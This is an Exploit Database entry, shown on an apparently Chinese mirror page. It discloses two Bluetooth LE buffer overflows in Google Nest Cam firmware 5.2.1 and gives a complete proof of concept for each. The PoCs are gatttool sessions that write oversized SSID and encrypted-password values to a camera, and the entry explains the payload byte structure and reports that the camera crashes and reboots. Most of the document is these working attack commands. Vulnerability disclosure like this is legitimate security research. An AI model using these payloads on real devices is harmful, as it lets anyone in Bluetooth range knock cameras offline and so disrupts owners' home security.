Google Nest Cam 5.2.1
 – Buffer Overflow Conditions Over Bluetooth LE

• Exploit Database
• 15 阅读

• 作者： Jason Doyle
  日期： 2017-03-20
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/41643/

• # Exploit Title: Google Nest Cam - Multiple Buffer Overflow Conditions Over Bluetooth LE
  # Reported to Google: October 26, 2016
  
# Public Disclosure: March 17, 2017
  # Exploit Author: Jason Doyle @_jasondoyle
  # Vendor Homepage: https://nest.com/
  # Affected: Dropcam, Dropcam Pro, Nest Cam Indoor/Outdoor models

  # Tested Version: 5.2.1

  # Fixed Version: TBD
  # https://github.com/jasondoyle/Google-Nest-Cam-Bug-Disclosures/blob/master/README.md

  
  ==Bluetooth (BLE) based Buffer Overflow via SSID parameter==
  
  1. Summary

  
  It's possible to trigger a buffer overflow condition when setting the SSID parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.
  
  2. Proof of Concept
  
  
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I

  [18:B4:30:5D:00:B8][LE]> connect

  Attempting to connect to 18:B4:30:5D:00:B8

  Connection successful
  
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b

  Characteristic value was written successfully
  
Characteristic value was written successfully

  [18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
  
  3. Details 
  
  The payload attempts to set an SSID with a length of 1 byte and sends 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
  
  4. Result

  
  Crash and reboot back to operational state
  
  
  ==Bluetooth (BLE) based Buffer Overflow via Encrypted Password parameter==
  
  1. Summary

  
  It's possible to trigger a buffer overflow condition when setting the encrypted password parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.
  
  2. Proof of Concept

  
  anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I

  [18:B4:30:5D:00:B8][LE]> connect
  
Attempting to connect to 18:B4:30:5D:00:B8

  Connection successful

  [18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
  
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b

  Characteristic value was written successfully
  
Characteristic value was written successfully
  
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
  
  3. Details

  
  The payload attempts to set the encrypted wifi password with a length of 1 byte and sends 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3